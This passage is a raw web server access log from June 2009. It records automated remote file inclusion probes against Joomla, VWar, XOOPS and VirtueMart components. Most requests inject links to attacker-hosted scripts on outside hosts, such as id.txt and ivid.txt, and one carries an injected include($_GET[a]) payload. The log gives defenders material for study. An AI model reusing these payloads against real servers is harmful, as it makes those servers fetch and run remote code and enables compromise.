i686 Linux; 20020515)" 216.66.76.19 - - [23/Jun/2009:17:43:50 -0600] "GET //index1.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 302 793 "-" "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)" 216.66.76.19 - - [23/Jun/2009:17:43:50 -0600] "GET //index1.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 404 33727 "-" "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)" 89.187.131.185 - - [23/Jun/2009:18:10:16 -0600] "GET //com_moofaq/css/file_includer.php?file=http://www.tokgorizont.com.ua/edit/editor/images/smiley/msn/id.txt??? HTTP/1.1" 302 819 "-" "libwww-perl/5.805" 89.187.131.185 - - [23/Jun/2009:18:10:17 -0600] "GET //com_moofaq/css/file_includer.php?file=http://www.tokgorizont.com.ua/edit/editor/images/smiley/msn/id.txt??? HTTP/1.1" 404 33810 "-" "libwww-perl/5.805" 218.30.100.97 - - [23/Jun/2009:19:19:22 -0600] "GET ///vwar/backup/errors.php?error=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 302 780 "-" "Mozilla/5.0" 218.30.100.97 - - [23/Jun/2009:19:19:27 -0600] "GET ///vwar/backup/errors.php?error=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 404 33876 "-" "Mozilla/5.0" 218.30.100.97 - - [23/Jun/2009:19:19:54 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 404 526 "-" "Mozilla/5.0" 203.94.155.59 - - [23/Jun/2009:19:44:36 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://stonemac.com/bbs/g/id1.txt? HTTP/1.1" 404 522 "-" "Mozilla/5.0" 203.94.155.59 - - [23/Jun/2009:19:44:36 -0600] "GET ///vwar/backup/errors.php?error=http://stonemac.com/bbs/g/id1.txt? HTTP/1.1" 302 776 "-" "Mozilla/5.0" 203.94.155.59 - - [23/Jun/2009:19:44:38 -0600] "GET ///vwar/backup/errors.php?error=http://stonemac.com/bbs/g/id1.txt? HTTP/1.1" 404 33605 "-" "Mozilla/5.0" 203.94.155.59 - - [23/Jun/2009:19:44:40 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://stonemac.com/bbs/g/id1.txt? HTTP/1.1" 404 522 "-" "Mozilla/5.0" 203.94.155.59 - - [23/Jun/2009:19:44:40 -0600] "GET ///vwar/backup/errors.php?error=http://stonemac.com/bbs/g/id1.txt? HTTP/1.1" 302 776 "-" "Mozilla/5.0" 203.94.155.59 - - [23/Jun/2009:19:44:41 -0600] "GET ///vwar/backup/errors.php?error=http://stonemac.com/bbs/g/id1.txt? HTTP/1.1" 404 33605 "-" "Mozilla/5.0" 209.172.33.230 - - [23/Jun/2009:19:44:56 -0600] "GET /rfi.txt//xoops_lib/modules/protector/onuninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://www.abi07-pgg.de/abi07/cache/baner.txt?? HTTP/1.1" 404 605 "-" "Mozilla/5.0" 209.172.33.230 - - [23/Jun/2009:19:44:56 -0600] "GET //xoops_lib/modules/protector/onuninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a=http://www.abi07-pgg.de/abi07/cache/baner.txt?? HTTP/1.1" 302 848 "-" "Mozilla/5.0" 209.172.33.230 - - [23/Jun/2009:19:44:57 -0600] "GET //xoops_lib/modules/protector/onuninstall.php?mydirname=a%7B%7Dinclude_GETa;function%20v&a=http://www.abi07-pgg.de/abi07/cache/baner.txt?? HTTP/1.1" 404 33972 "-" "Mozilla/5.0" 67.19.130.218 - - [23/Jun/2009:20:17:35 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://www.euroexpo.ro/atmail/remember.txt??? HTTP/1.1" 404 566 "-" "Mozilla/5.0" 67.19.130.218 - - [23/Jun/2009:20:17:35 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.euroexpo.ro/atmail/remember.txt??? HTTP/1.1" 302 820 "-" "Mozilla/5.0" 67.19.130.218 - - [23/Jun/2009:20:17:36 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://www.euroexpo.ro/atmail/remember.txt??? HTTP/1.1" 404 33890 "-" "Mozilla/5.0" 200.96.145.227 - - [23/Jun/2009:20:21:40 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://127.0.0.1:81/alb.txt? HTTP/1.1" 302 722 "-" "Mozilla/3.0 (compatible; Indy Library)" 85.17.10.239 - - [23/Jun/2009:20:31:44 -0600] "GET /rfi.txt/errors.php?error=http://www.die-grenzreiter.com/content/download/fx29id.txt?? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 85.17.10.239 - - [23/Jun/2009:20:31:44 -0600] "GET /errors.php?error=http://www.die-grenzreiter.com/content/download/fx29id.txt?? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 85.17.10.239 - - [23/Jun/2009:20:31:45 -0600] "GET /errors.php?error=http://www.die-grenzreiter.com/content/download/fx29id.txt?? HTTP/1.1" 404 33664 "-" "Mozilla/5.0" 210.118.171.185 - - [23/Jun/2009:20:36:31 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 404 543 "-" "Mozilla/5.0" 210.118.171.185 - - [23/Jun/2009:20:36:31 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 302 797 "-" "Mozilla/5.0" 210.118.171.185 - - [23/Jun/2009:20:36:32 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 404 33685 "-" "Mozilla/5.0" 210.118.171.185 - - [23/Jun/2009:20:36:33 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 404 543 "-" "Mozilla/5.0" 210.118.171.185 - - [23/Jun/2009:20:36:34 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 302 797 "-" "Mozilla/5.0" 210.118.171.185 - - [23/Jun/2009:20:36:34 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://www.therockcc.org/calendarevents/1.txt? HTTP/1.1" 404 33685 "-" "Mozilla/5.0" 123.143.98.5 - - [23/Jun/2009:20:39:02 -0600] "GET /rfi.txt/errors.php?error=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 404 540 "-" "libwww-perl/5.805" 123.143.98.5 - - [23/Jun/2009:20:39:02 -0600] "GET /errors.php?error=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 302 794 "-" "libwww-perl/5.805" 123.143.98.5 - - [23/Jun/2009:20:39:03 -0600] "GET /errors.php?error=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 404 33713 "-" "libwww-perl/5.805" 123.143.98.5 - - [23/Jun/2009:20:39:11 -0600] "GET /rfi.txt/errors.php?error=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 404 540 "-" "libwww-perl/5.805" 123.143.98.5 - - [23/Jun/2009:20:39:11 -0600] "GET /errors.php?error=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 302 794 "-" "libwww-perl/5.805" 123.143.98.5 - - [23/Jun/2009:20:39:12 -0600] "GET /errors.php?error=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 404 33713 "-" "libwww-perl/5.805" 121.165.73.157 - - [23/Jun/2009:20:41:16 -0600] "GET ///vwar/backup/errors.php?error=http://badwolfmx3.wghost.tv/xnova//includes/yuo.txt? HTTP/1.1" 302 794 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)" 121.165.73.157 - - [23/Jun/2009:20:41:17 -0600] "GET ///vwar/backup/errors.php?error=http://badwolfmx3.wghost.tv/xnova//includes/yuo.txt? HTTP/1.1" 404 33683 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)" 200.96.145.227 - - [23/Jun/2009:20:51:08 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://200.96.145.227:81/alb.txt?? HTTP/1.1" 302 728 "-" "Mozilla/3.0 (compatible; Indy Library)" 123.143.98.5 - - [23/Jun/2009:20:51:38 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 302 841 "-" "libwww-perl/5.805" 123.143.98.5 - - [23/Jun/2009:20:51:40 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 404 33898 "-" "libwww-perl/5.805" 123.143.98.5 - - [23/Jun/2009:20:52:25 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 404 587 "-" "libwww-perl/5.805" 123.143.98.5 - - [23/Jun/2009:20:53:12 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 302 841 "-" "libwww-perl/5.805" 123.143.98.5 - - [23/Jun/2009:20:53:13 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 404 33898 "-" "libwww-perl/5.805" 123.143.98.5 - - [23/Jun/2009:20:54:01 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://baumann-oliver.de/obitcon/cms/system/filepool/.../id.txt??? HTTP/1.1" 404 587 "-" "libwww-perl/5.805" 124.0.139.129 - - [24/Jun/2009:11:25:40 -0600] "GET /rfi.txt%20%20///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://luchesk.com.ua///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 302 874 "-" "Mozilla/5.0" 124.0.139.129 - - [24/Jun/2009:11:25:42 -0600] "GET /rfi.txt%20%20///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://luchesk.com.ua///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 33959 "-" "Mozilla/5.0" 82.194.87.219 - - [24/Jun/2009:12:08:42 -0600] "GET ////components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.laubrotel.com/letter/id? HTTP/1.1" 302 824 "-" "libwww-perl/5.822" 82.194.87.219 - - [24/Jun/2009:12:08:44 -0600] "GET ////components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.laubrotel.com/letter/id? HTTP/1.1" 404 33727 "-" "libwww-perl/5.822" 80.247.76.181 - - [24/Jun/2009:12:14:44 -0600] "GET /rfi.txt//index.php?bug=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 404 510 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:12:14:44 -0600] "GET //index.php?bug=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 734 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:12:14:45 -0600] "GET /?bug=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109075 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:12:14:47 -0600] "GET //index.php?bug=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 734 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:12:14:48 -0600] "GET /?bug=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109329 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:12:14:52 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 735 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:12:14:53 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 109065 "-" "libwww-perl/5.805" 193.231.42.152 - - [24/Jun/2009:12:25:19 -0600] "GET //index.php?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://MiNgOnIsHoW.altervista.org/A51/id.txt???? HTTP/1.1" 302 791 "-" "libwww-perl/5.805" 193.231.42.152 - - [24/Jun/2009:12:25:20 -0600] "GET /?option=com_dbquery&Itemid=&mosConfig_absolute_path=http://MiNgOnIsHoW.altervista.org/A51/id.txt???? HTTP/1.1" 200 109263 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:27 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:27 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:28 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:28 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:28 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:28 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:28 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:28 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109632 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:30 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109330 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109588 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:30 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:30 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:30 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47629 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:31 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:29 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109995 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:30 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47087 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:30 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109671 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:30 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47546 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:31 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47115 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:31 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:32 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:32 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:32 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:32 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:31 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109815 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:32 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47014 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:33 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:32 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47402 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 792 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 792 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:33 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 737 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:33 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 737 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:33 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 737 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 792 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:34 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:34 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 740 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:32 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109691 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:33 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109539 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:34 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:34 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 771 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 771 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:34 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 795 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 771 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:33 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 109031 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:34 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47623 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:36 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47612 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:34 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 110240 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:34 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 110016 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:37 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 302 774 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:35 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 110262 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:36 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 110098 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:35 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 109914 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:35 -0600] "GET /?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 110264 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:36 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47596 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:37 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 47232 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:36 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 47679 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:37 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 46927 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:37 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 200 47715 "-" "libwww-perl/5.79" 80.247.76.181 - - [24/Jun/2009:13:29:38 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:38 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 80.247.76.181 - - [24/Jun/2009:13:29:38 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://cedhbcs.org//menu/ivid.txt%0D?? HTTP/1.1" 200 46970 "-" "libwww-perl/5.805" 193.87.99.18 - - [24/Jun/2009:13:29:39 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 737 "-" "libwww-perl/5.79" 193.87.99.18 - - [24/Jun/2009:13:29:39 -0600] "GET //index.php?sayfa=http://cedhbcs.org//menu/ivid.txt?? HTTP/1.1" 302 737 "-" "libwww-perl/5.79" 80.247.76.181 - - 